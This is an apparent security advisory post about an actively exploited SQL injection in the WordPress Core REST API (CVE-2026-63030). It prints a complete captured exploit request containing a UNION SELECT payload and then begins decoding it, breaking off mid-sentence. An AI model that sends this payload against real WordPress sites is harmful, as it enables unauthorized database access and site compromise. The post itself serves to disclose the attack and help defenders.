WordPress Exploitation Underway (CVE-2026-63030), (Mon, Jul 20th)
A critical WordPress webshell vulnerability (CVE-2026-63030) is being actively exploited. This vulnerability, stemming from a SQL injection flaw in the WordPress Core REST API, allows unauthenticated remote code execution. The vulnerability was initially announced without a CVE number, but is now actively being used to inject malicious code and create new admin users. The SANS Internet Storm Center has provided a complete exploit request and recommends immediate action for WordPress users to check for files in the '/cache/' directory and newly created admin accounts.
Last week, Searchlight Cyber released details about a vulnerability they are calling "wp2shell". The vulnerability was initially announced without a CVE number. But now has been assigned CVE-2026-63030. Many WordPress plugin vulnerabilities are never assigned CVE numbers. But wp2shell is different. It is a SQL injection vulnerability in WordPress Core, not a plugin, and can lead to unauthenticated remote code execution. Shortly after being announced, the vulnerability started to be exploited.
If you are running WordPress, stop reading now. Check if you are vulnerable at https://wp2shell.com . Assume compromise if you are vulnerable. The exploit attempts hitting our honeypots are designed to detect the vulnerability, and do not deliver a functional exploit. But one of our readers submitted a complete exploit request captured by SecurityOnion:
``` POST /?rest_route=/batch/v1 HTTP/1.1 Accept-Encoding: identity Content-Length: 735 Host: [hostname redacted]:8888 Content-Type: application/json User-Agent: cve-2026-63030/1.0 Connection: close { "requests": [ { "method": "POST", "path": "///" }, { "method": "POST", "path": "/wp/v2/posts", "body": { "requests": [ { "method": "POST", "path": "///" }, { "method": "GET", "path": "/wp/v2/posts/999999?author_exclude=0%29+UNION+SELECT+999999%2C2%2C0x323032302d30312d30312030303a30303a3030%2C0x323032302d30312d30312030303a30303a3030%2C5%2CCONCAT%280x7c7c%2CHEX%28CAST%28%28SELECT+0x4f4b%29AS+CHAR%29%29%2C0x7c7c%29%2C7%2C0x7075626c697368%2C9%2C10%2C11%2C12%2C13%2C14%2C0x323032302d30312d30312030303a30303a3030%2C0x323032302d30312d30312030303a30303a3030%2C17%2C18%2C19%2C20%2C0x706f7374%2C22%2C23--+-&orderby=none&per_page=500"}, { "method": "GET", "path": "/wp/v2/posts" } ] } }, { "method": "POST", "path": "/batch/v1", "body": { "requests": [] } } ] } ```
The vulnerability is exploited via the REST API, and in order to be exploitable, a WordPress install must expose the API. The exploit follows standard SQL injection patterns. It uses a UNION request to execute a second SELECT statement.
The second SELECT query decodes to:
``` SELECT 999999,2,'2020-01-01 00:00:00', '2020-01-01 00:00:00', 5, '||OK||', 7, 'publish', 9,10,11,12,13,14,'2020-01-01 00:00:00','2020-01-01 00:00:00',17,18,19,20,'post',22,23 ```
Decoding the